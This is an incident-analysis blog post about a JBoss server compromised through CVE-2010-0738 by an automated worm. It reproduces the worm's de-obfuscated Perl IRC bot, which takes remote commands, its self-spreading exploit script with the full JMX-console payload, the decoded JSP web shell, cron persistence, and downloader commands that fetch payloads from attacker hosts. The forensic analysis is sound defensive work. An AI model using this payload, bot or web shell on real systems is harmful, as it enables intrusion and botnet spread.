xorl %eax, %eax

Archive for the ‘hax’ Category

Hack Analysis (CVE-2010-0738)

with 5 comments

Recently a friend of mine called me to investigate a hacked development server he had for some JBoss application development. I didn’t have enough time so I just cleaned up the server since it was an automated attack and informed him of its status.

Now that I found some time I can write this blog post. Just for clarification, if this was a 0day or some sophisticated hack I would never disclose any information, but since this is a very common, already known, automated attack I’m publishing this blog post.

After logging into the server it was pretty obvious that this was either a script kiddie or an automated/worm/virus attack just by checking the running processes with ‘ps’.

javadev     1779  0.0  0.0 106092  1192 pts/2    S    Feb01   0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100
javadev     1780  0.0  0.0 106096   684 pts/2    S    Feb01   0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100
javadev     2145  0.0  0.0 106092  1336 pts/2    S    Feb01   0:00 sh -c mkdir ...;cd ...;wget http://myiphone.dyndns-pics.com/a.tar.gz;tar xzf a.tar.gz;sh alfa.sh
javadev     2147  0.0  0.0 133856  1880 pts/2    S    Feb01   0:00 wget http://myiphone.dyndns-pics.com/a.tar.gz
root       14722  0.0  0.0  97788  3848 ?        Ss   Jan12   0:00 sshd: javadev [priv]
javadev    14725  0.0  0.0  97788  1732 ?        S    Jan12   0:00 sshd: javadev@pts/1
javadev    14726  0.0  0.0 108332  1908 pts/1    Ss+  Jan12   0:00 -bash

The first thing I did was to download a.tar.gz on my workstation in order to check it out. From a quick look at this it doesn’t seem like a serious hack. As I said earlier, it’s either a script kiddie or almost certainly some automated attack. The obvious thing to check next based on the simplicity of the attack is how it re-spawns new processes to download the new binaries and execute them.

A quick look in ‘/var/spool/cron/javadev’ file reveals the following cronjobs for the unprivileged user that was running the JBoss Application Server…

[root@somewhere ~]# cat /var/spool/cron/javadev
1 1 10 * * ~/.sysdbs
1 1 24 * * perl ~/.sysync.pl
1 1 24 * * perl ~/.sysync.pl
1 1 10 * * ~/.sysdbs
[root@somewhere ~]#

And by moving to ‘javadev’ user’s home directory I found ‘.sysync.pl’ which was a very simple Perl script slightly obfuscated (no new lines) which you can see here (de-obfuscated):

#!/usr/bin/perl
use IO::Socket::INET;  

my $time=time();  

$time=~/(.*)\d\d\d\d/;  
$i=int($1)*2; 

my $processo = "/usr/share/apache/bin/httpsd";  
my $pid=fork;  
exit if $pid;  

$0="$processo"." "x16;   

my @sops =("localhost","iscvadimswallows.dyndns.biz","webstatzz.twilightparadox.com","westatzo.dyndns-remote.com","suyeifd.dyndns.info","killbilll.twilightparadox.com","myfivecents.dyndns-web.com","its".$i."s.dyndns.info","itsthe".$i."d.strangled.net","eventuallydown.dyndns.biz","localhosting.dyndns.info"); 

my $port=2020*4;  
my $chan="#jbs"; 

my $boxing = `uname -a`;  
$user = `whoami`;  
$boxing =~ s/\r//g;  
$boxing =~ s/\n//g; 
$boxing =~ s/ //g; 
$boxing =~ s/\s//g; 
$user =~ s/\r//g; 
$user =~ s/\n//g;  
$user =~ s/ //g; 
$user =~ s/\s//g;    

while(1) {
 retry:
 my $nick="efd[".int(rand(999999999))."]";
 close($sk);  
 my $server = "";  

 while(length($server)<10) { 
	 $server = $sops[int(rand(12))]; 
 }

 sleep(3); 

 my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry; 
 $sk->autoflush(1); 

 print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
 print $sk "NICK $nick\r\n";  print $sk "USER ".$user." 8 *  : ".$user."\r\n";  

 while($line = <$sk>)
 { 
	 $line =~ s/\r\n$//;

       	 if ($line=~ /^PING \:(.*)/)
	 {
		 print $sk "PONG :$1\r\n";
       	 }  

	 if($line =~ /welcome\sto/i)
	 {
		 sleep(2); 
		 print $sk "JOIN $chan\r\n"; 
		 sleep(1); 
		 print $sk "PRIVMSG $chan :UserName=$boxing\r\n"; 
	 }  

	 if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/)
	 {
		 $owner=$line;
	       	 $de=$2; 
		
		 if($owner=~/iseee/gi)
		 {
			 @shell=`$de`; 
			 foreach $line (@shell) { 
				 sendsk($sk, "PRIVMSG iseee :$line\r\n"); 
				 sleep(1); 
			 } 
		 } 
	 } 


	 if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/)
	 {
		 $owner=$line; 
		 $url=$2; 
		 $mult=$3;

	       	 if($owner=~/iseee/gi)
		 {
			 $url=~/http:\/\/(.*)\/(.*)/g;   

			 for($xz=0; $xz<=$mult; $xz++) {
				 system("curl ".$url.">/dev/null&");
			       	 `curl "$url">/dev/null&`; 
				 system("wget ".$url.">/dev/null&"); 
				 `wget "$url">/dev/null&`; 
				 system("wget $url>/dev/null&"); 
		       	 }
			 sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n"); 
		 }
	 }   

	 if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/)
	 {
		 $owner=$line; 
		 $url=$2; 
		 $ddata=$3; 
		
		 if($owner=~/iseee/gi)
		 {
			 $url=~/http:\/\/(.*)\/(.*)/g; 
			 $host=$1; 
			 $path=$2;  
		       
			 my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80); 
			 print $sck   "POST /$path HTTP/1.0\r\n" . "Host: $host\r\n" . "Connection: close\r\n" . "Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
		       	 sleep(1); 
			 close($sck);   
			 
			 sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
		 } 
	 }  
 } 

 }  

 sub sendsk()
 { 
	 if ($#_ == 1)
	 {
		 my $sk = $_[0]; 
		 print $sk "$_[1]\n"; 
	 } 
	 else
	 { 
		 print $sk "$_[0]\n"; 
	 }
 }

This is a very straightforward botnet client code that follows this algorithm:
1) Set username to efd[]
2) Obtain randomly a server of the ones defined in @sops if not hardcoded
3) Wait for 3 seconds and open a connection to this server on port 8080/tcp
4) Send an HTTP POST request (probably used for identification by the server to enable IRC communication)
5) Send NICK IRC command to set the previously defined username
6) Enter the IRC main loop
7) If you receive a PING respond with a PONG to keep the IRC connection alive
8) If you reveive a “welcome” message, join IRC channel #jbs and send the ‘uname -a’ output (with no spaces or new lines)
9) If you receive a message from user ‘iseee’ in the format of “.rsh [command]”, execute it in a shell and send back the output
10) If you receive a message from user ‘iseee’ in the format of “.get [URL] [times]”, download using ‘curl’ or ‘wget’ the provided URL and send back the location of the file
11) If you receive a message from user ‘iseee’ in the format of “.post [URL] [Bytes]”, connect to the given URL on port 80/tcp and send a HTTP POST request with “Content-Length” of the number of Bytes given in the IRC message

This overall simple IRC botnet client is executed through CRON so at least now we know what we are dealing with. Unfortunately, determining how the attacker got access was difficult since JBoss didn’t have any logging (it was just a development server).
However, from personal experience I was fairly convienced that this was the all time classic CVE-2010-0738 and a quick look in /home/javadev/jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml proves me right…

   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console. -->
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
       <http-method>GET</http-method>
       <http-method>POST</http-method>
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>

   <login-config>
      <auth-method>BASIC</auth-method>
      <realm-name>JBoss JMX Console</realm-name>
   </login-config>

For further information on this vulnerability you can check “Bypassing Web Authentication and Authorization with HTTP Verb Tampering” presentation by Arshan Dabirsiaghi of Aspect Security.

Regardless of the botnet, we could see in ‘ps’ above that it was also running some ‘pns’ executable. This is part of the ‘a.tar.gz. binary that it was downloading. So, let’s have a look at this one…

[root@satan jbosshack]# tar xfvz a.tar.gz
bm.c
bm.h
install-sh
ipsort
version.c
Makefile
fix.pl
pnscan.c
alfa.sh
treat.sh
b.pl
[root@satan jbosshack]# ls -l
total 54
-rwxrwx---. 1 root root    97 Feb  3 00:38 alfa.sh
-rwxrwx---. 1 root root 12597 Feb 10 10:46 a.tar.gz
-rwxrwx---. 1 root root  3229 Mar 25  2002 bm.c
-rwxrwx---. 1 root root   460 Mar 23  2002 bm.h
-rwxrwx---. 1 root root  4183 Feb  3 20:34 b.pl
-rwxrwx---. 1 root root  2692 Jan 28 05:15 fix.pl
-rwxrwx---. 1 root root  5598 Mar 25  2002 install-sh
-rwxrwx---. 1 root root   132 Mar 22  2002 ipsort
-rwxrwx---. 1 root root  1680 Jan 28 05:13 Makefile
-rwxrwx---. 1 root root  19774 Jan 28 05:16 pnscan.c
-rwxrwx---. 1 root root  1365 Feb  3 19:58 treat.sh
-rwxrwx---. 1 root root    25 Mar 25  2002 version.c
[root@satan jbosshack]#

Using the information of ‘ps’ shown in the beginning we can see that it follows this order:
1) Make directory named ‘…’ in hacked user’s home directory and move to that directory
2) Download ‘a.tar.gz’ from http://myiphone.dyndns-pics.com/a.tar.gz using ‘wget’
3) Extract ‘a.tar.gz’ to ‘xzf’ directory
4) Execute ‘alfa.sh’ shell script

Based on this we will first have to take a look at ‘alfa.sh’ shell script.

killall -9 perl
rm -f *.txt.*
rm -f *.txt
rm -f *.htm*
killall -9 pns
killall -9 perl
perl b.pl

So, this means that the next script we will have to look at is ‘b.pl’ Perl script. All the newlines were removed as a basic obfuscation. Here is a cleaner version of it.

#!/usr/bin/perl

use IO::Socket; 

my $mm=`ps aux | grep /usr/local/bin/javad | grep -v grep`; 

$ii=`whoami`; 
system("sh treat.sh&"); 

if(length($mm)>260) 
{ 
	die; 
}

my $pr = "/usr/bin/javad";
my $pi=fork; 
exit if $pi;

$0="$pr"." "x16; `make lnx`; 

system("perl fix.pl&");
system("make lnx");

system("rm -f treat.sh;rm -f *.tar.gz;rm -f *.tar.gz.*;rm -f b.pl;rm -f alfa.sh");

$tt = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n";

while(1)
{
       	$px=int(rand(255));
       	$fl="/tmp/sess_0088025413980486928597bf$px"; 
	$pie=int(rand(255));
       	$coin=int(rand(101));

       	if($coin<=49) 
	{ 
		$port=80; 
	} else { 
		$port=8080 
	}

	$syc="./pns -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6001 $px.$pie.0.0/16 $port > $fl"; 
	
	system($syc); 
	open FILE, "$fl" or die; my @tra = <FILE>; 
	close(FILE);

	foreach $pos (@tra) 
	{  
		$pos=~s/\)//;  
		$pos=~s/\(//;  
		$pos=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)80\s/g;  
		
		$it="$1.$2.$3.$4";  
		$it=~s/\s//g;  
		$it=~s/ //g;  
		$it=~s/\t//g;  

		my $crp = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto np;  
		print $crp $tt;  
		$pg = "";
	      	$pg .= $_ while <$crp>; 
		sleep(1);

		if($pg=~/200/||$pg=~/500/)
	       	{
		       	my $sk = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
		       	print $sk "GET /zecmd/zecmd.jsp HTTP/1.0\r\nConnection: Close\r\n\r\n";
		       	$pg = "";
		       	$pg .= $_ while <$sk>;

			if($pg=~/comments/g)
		       	{ 
			       	my $ska = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; 
				print $ska "GET /zecmd/zecmd.jsp?comment=wget+http://myiphone.dyndns-pics.com/a.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; 
				sleep(3); 
				close($ska);

				my $skb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
				print $skb "GET /zecmd/zecmd.jsp?comment=tar+xzvf+a.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; 
				sleep(2);
			       	close($skb);
			       
				my $skd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
			       	print $skd "GET /zecmd/zecmd.jsp?comment=sh+alfa.sh HTTP/1.0\r\nConnection: Close\r\n\r\n";
			       	sleep(2);
			       	close($skd);
		      	} 
		       	np:  close($crp); 
	       	} 
	       	nta: close($sk); 
	}
}

And if you don’t want to read the code, here is what it does:
1) It executes ‘treat.sh’ as a background process
2) If ‘/usr/local/bin/javad’ is already running, it exits
3) Executes Perl script ‘fix.pl’ as a background process
4) Compiles the C files using the included ‘Makefile’ (this time for Linux (see ‘lnx’ argument))
5) Removes ‘*.tar.gz’, ‘treat.sh’, ‘*.tar.gz.*’, ‘b.pl’ and ‘alfa.sh’ files
6) Runs ‘pns’ with options ‘-r JBoss’ (search for this response string), ‘-w “HEAD HTTP/1.0″‘ (write this request string), ‘-t 6100′ (connect/read/write time-out in milliseconds) on ports either 80 or 8080 (randomly selected) against hosts XXX.XXX.0.0/16 where XXX is a random integer from 0 to 255 and saves the result to ‘/tmp/sess_0088025413980486928597bfXXX’ where XXX is a random integer from 0 to 255.
7) Parses the output file
8) If it finds a vulnerable host, it is attacking to it by sending the malicious HEAD request to its JMX console
9) If the server responds with a 200 or 500 code, then sends a ‘GET /zecmd/zecmd.jsp’ request to see if it was successfully infected
10) If this is the case, it uses ‘comments’ parameter to download, extract and execute ‘a.tar.gz’ to the remote host as it did on this one

This means that in order to better understand the worm we have to first see what ‘treat.sh’ shell script does. Again, the script was slightly modified/obfuscated but nothing really special. Here is the de-obfuscated ‘treat.sh’ shell script.

#!/bin/bash

echo '#include <stdio.h>' > sysdbss.c;
echo 'int x=0;' >> sysdbss.c;
echo 'int main()' >> sysdbss.c;
echo '{' >> sysdbss.c;

crontab -l|sort|uniq > /tmp/myc;

echo 'system("wget http://blacknbluesky.strangled.net/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;
echo 'system("perl b.pl");' >> sysdbss.c;
echo 'system("rm -f a.tar.gz");' >> sysdbss.c;

cat fix.pl > ~/.sysync.pl;

echo 'for(x=0;x<=432;x++)' >> sysdbss.c;
echo '{' >> sysdbss.c;
echo 'sleep(200);' >> sysdbss.c;
echo '}' >> sysdbss.c;
echo 'system("wget http://gettingz.strangled.net/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;

echo '1 1 24 * * perl ~/.sysync.pl' >> /tmp/myc;
echo 'system("perl b.pl");' >> sysdbss.c;

chmod +x ~/.sysync.pl;

echo 'system("rm -f a.tar.gz");' >> sysdbss.c;
echo 'for(x=0;x<=432;x++)' >> sysdbss.c;
echo '{' >> sysdbss.c;
echo 'sleep(200);' >> sysdbss.c;
echo '}' >> sysdbss.c;
echo 'system("wget http://redtapeworks.dyndns.info/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;
echo 'system("perl b.pl");' >> sysdbss.c;

echo '1 1 10 * * ~/.sysdbs' >> /tmp/myc;
echo 'system("rm -f a.tar.gz");' >> sysdbss.c;
echo 'return 0;' >> sysdbss.c;
echo '}' >> sysdbss.c;

gcc sysdbss.c -o ~/.sysdbs;
chmod +x ~/.sysdbs;
rm -f sysdbss.c;

crontab /tmp/myc;
rm -f *.tar.gz;
rm -f /tmp/myc;
rm -f *.tar.gz.*;
rm -f treat.sh

And here is what this one does:
1) Constructs file ‘sysdbss.c’
2) File ‘fix.pl’ is copied to ‘~/.sysync.pl’ and the latter file’s permissions are changed to be executable
3) The cronjobs (we saw earlier) is prepared and installed in cron (temporarily stored in /tmp/myc)
4) ‘sysdbss.c’ is compiled using gcc and installed in ‘~/.sysdb’
5) All the temporary files and initial scripts are removed

The constructed ‘sysdbss.c’ file is the following:

#include <stdio.h>

int x=0;
int main()
{

	system("wget http://blacknbluesky.strangled.net/a.tar.gz");
	system("tar xzvf a.tar.gz");
	system("perl b.pl");
	system("rm -f a.tar.gz");

	for(x=0;x<=432;x++)
	{
		sleep(200);
	}

	system("wget http://redtapeworks.dyndns.info/a.tar.gz");
	system("tar xzvf a.tar.gz");
	system("perl b.pl");
	system("rm -f a.tar.gz");
	
	return 0;
}

By now we know exactly what files have been altered, how was our system infected as well as how the worm is spreading and what is used for. However, we still miss some crucial points. Let’s see how the vulenrability was exploited. We have the malicious HTTP payload which is URL encoded. Here is the encoded one:

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n

And here is the decoded one in a more readable form…

HEAD /jmx-console/HtmlAdaptor

action=invokeOpByName
name=jboss.admin:service=DeploymentFileRepository
methodName=store

argType=java.lang.String

arg0=zecmd.war
argType=java.lang.String

arg1=zecmd
argType=java.lang.String

arg2=.jsp
argType=java.lang.String

arg3=
<%@ page import="java.util.*,java.io.*"%> 
<% %>
<HTML>
	<BODY> 
		<FORM METHOD="GET" NAME="comments" ACTION=""> 
			<INPUT TYPE="text" NAME="comment"> 
			<INPUT TYPE="submit" VALUE="Send"> 
		</FORM> 

		<pre> 
			<% 
				if (request.getParameter("comment") != null) 
				{ 
					out.println("Command: " + request.getParameter("comment") + "<BR>"); 
					Process p = Runtime.getRuntime().exec(request.getParameter("comment")); 
					OutputStream os = p.getOutputStream(); 
					InputStream in = p.getInputStream(); 
					DataInputStream dis = new DataInputStream(in); 
					String disr = dis.readLine();
					while ( disr != null ) 
					{ 
						out.println(disr); 
						disr = dis.readLine(); 
					} 
				} 
			%> 
		</pre> 
	</BODY>
</HTML>

argType=boolean
arg4=True HTTP/1.0\r\n\r\n

It’s a call to invokeOpByName() routine with request type of “DeploymentFileRepository” in order to deploy a new WAR file named ‘zecmd.war’ that includes a JSP web page named ‘zecmd.jsp’ which is a common JSP based shell that executes anything passed to it through “comment” parameter. This is using the misconfigured JMX console we saw earlier to execute this HEAD request and install this JSP backdoor.

Now that we also know exactly how system was exploited the only thing left is to check out the rest of the files that are used in this worm. Just for reference, here is the ‘Makefile’ used to compile the C programs included in the TAR archive.

# Makefile for pnscan

DESTDIR=/usr/local

BINDIR=$(DESTDIR)/bin
MANDIR=$(DESTDIR)/man
MAN1DIR=$(MANDIR)/man1

TAR=tar
GZIP=gzip
MAKE=make
INSTALL=./install-sh


## Solaris 8 with Gcc 3.0
GSO_CC=gcc -Wall -g -O -pthreads
GSO_LDOPTS=
GSO_LIBS= -lnsl -lsocket

## Solaris 8 with Forte C 6.2
SOL_CC=cc -mt -O
SOL_LDOPTS=
SOL_LIBS= -lpthread -lnsl -lsocket

## Linux 2.4 with Gcc 2.96
LNX_CC=gcc -Wall -g -O
LNX_LDOPTS=-Wl,-s 
LNX_LIBS=-lpthread -lnsl


OBJS = pnscan.o bm.o version.o


default:
	@echo 'Use "make SYSTEM" where SYSTEM may be:'
	@echo '   lnx      (Linux with GCC)'
	@echo '   gso      (Solaris with GCC v3)'
	@echo '   sol      (Solaris with Forte C)'
	@exit 1

lnx linux:
	@$(MAKE) all CC="$(LNX_CC)" LIBS="$(LNX_LIBS)" LDOPTS="$(LNX_LDOPTS)"

gso:
	@$(MAKE) all CC="$(GSO_CC)" LIBS="$(GSO_LIBS)" LDOPTS="$(GSO_LDOPTS)"

sol solaris:
	@$(MAKE) all CC="$(SOL_CC)" LIBS="$(SOL_LIBS)" LDOPTS="$(SOL_LDOPTS)"

all: pnscan

man: pnscan.1 ipsort.1

pnscan.1:	pnscan.sgml
	docbook2man pnscan.sgml

ipsort.1:	ipsort.sgml
	docbook2man ipsort.sgml

pnscan: $(OBJS)
	$(CC) $(LDOPTS) -o pns $(OBJS) $(LIBS)


version:
	(PACKNAME=`basename \`pwd\`` ; echo 'char version[] = "'`echo $$PACKNAME | cut -d- -f2`'";' >version.c)

clean distclean:
	-rm -f *.o *~ pnscan core manpage.* \#*

dist:	distclean version
	(PACKNAME=`basename \`pwd\`` ; cd .. ; $(TAR) cf - $$PACKNAME | $(GZIP) -9 >$$PACKNAME.tar.gz)



install:	install-bin install-man

install-bin: all
	$(INSTALL) -c -m 755 pns $(BINDIR)
	$(INSTALL) -c -m 755 ipsort $(BINDIR)

install-man: man
	$(INSTALL) -c -m 644 pnscan.1 $(MAN1DIR)
	$(INSTALL) -c -m 644 ipsort.1 $(MAN1DIR)


install-all install-distribution: install

Here is the ‘install-sh’ shell script.

#!/bin/sh
#
# install - install a program, script, or datafile
# This comes from X11R5 (mit/util/scripts/install.sh).
#
# Copyright 1991 by the Massachusetts Institute of Technology
#
# Permission to use, copy, modify, distribute, and sell this software and its
# documentation for any purpose is hereby granted without fee, provided that
# the above copyright notice appear in all copies and that both that
# copyright notice and this permission notice appear in supporting
# documentation, and that the name of M.I.T. not be used in advertising or
# publicity pertaining to distribution of the software without specific,
# written prior permission.  M.I.T. makes no representations about the
# suitability of this software for any purpose.  It is provided "as is"
# without express or implied warranty.
#
# Calling this script install-sh is preferred over install.sh, to prevent
# `make' implicit rules from creating a file called install from it
# when there is no Makefile.
#
# This script is compatible with the BSD install script, but was written
# from scratch.  It can only install one file at a time, a restriction
# shared with many OS's install programs.


# set DOITPROG to echo to test this script

# Don't use :- since 4.3BSD and earlier shells don't like it.
doit="${DOITPROG-}"


# put in absolute paths if you don't have them in your path; or use env. vars.

mvprog="${MVPROG-mv}"
cpprog="${CPPROG-cp}"
chmodprog="${CHMODPROG-chmod}"
chownprog="${CHOWNPROG-chown}"
chgrpprog="${CHGRPPROG-chgrp}"
stripprog="${STRIPPROG-strip}"
rmprog="${RMPROG-rm}"
mkdirprog="${MKDIRPROG-mkdir}"

transformbasename=""
transform_arg=""
instcmd="$cpprog"
chmodcmd="$chmodprog 0755"
chowncmd=""
chgrpcmd=""
stripcmd=""
rmcmd="$rmprog -f"
mvcmd="$mvprog"
src=""
dst=""
dir_arg=""

while [ x"$1" != x ]; do
    case $1 in
	-c) instcmd="$cpprog"
	    shift
	    continue;;

	-d) dir_arg=true
	    shift
	    continue;;

	-m) chmodcmd="$chmodprog $2"
	    shift
	    shift
	    continue;;

	-o) chowncmd="$chownprog $2"
	    shift
	    shift
	    continue;;

	-g) chgrpcmd="$chgrpprog $2"
	    shift
	    shift
	    continue;;

	-s) stripcmd="$stripprog"
	    shift
	    continue;;

	-t=*) transformarg=`echo $1 | sed 's/-t=//'`
	    shift
	    continue;;

	-b=*) transformbasename=`echo $1 | sed 's/-b=//'`
	    shift
	    continue;;

	*)  if [ x"$src" = x ]
	    then
		src=$1
	    else
		# this colon is to work around a 386BSD /bin/sh bug
		:
		dst=$1
	    fi
	    shift
	    continue;;
    esac
done

if [ x"$src" = x ]
then
	echo "install:	no input file specified"
	exit 1
else
	true
fi

if [ x"$dir_arg" != x ]; then
	dst=$src
	src=""
	
	if [ -d $dst ]; then
		instcmd=:
		chmodcmd=""
	else
		instcmd=mkdir
	fi
else

# Waiting for this to be detected by the "$instcmd $src $dsttmp" command
# might cause directories to be created, which would be especially bad 
# if $src (and thus $dsttmp) contains '*'.

	if [ -f $src -o -d $src ]
	then
		true
	else
		echo "install:  $src does not exist"
		exit 1
	fi
	
	if [ x"$dst" = x ]
	then
		echo "install:	no destination specified"
		exit 1
	else
		true
	fi

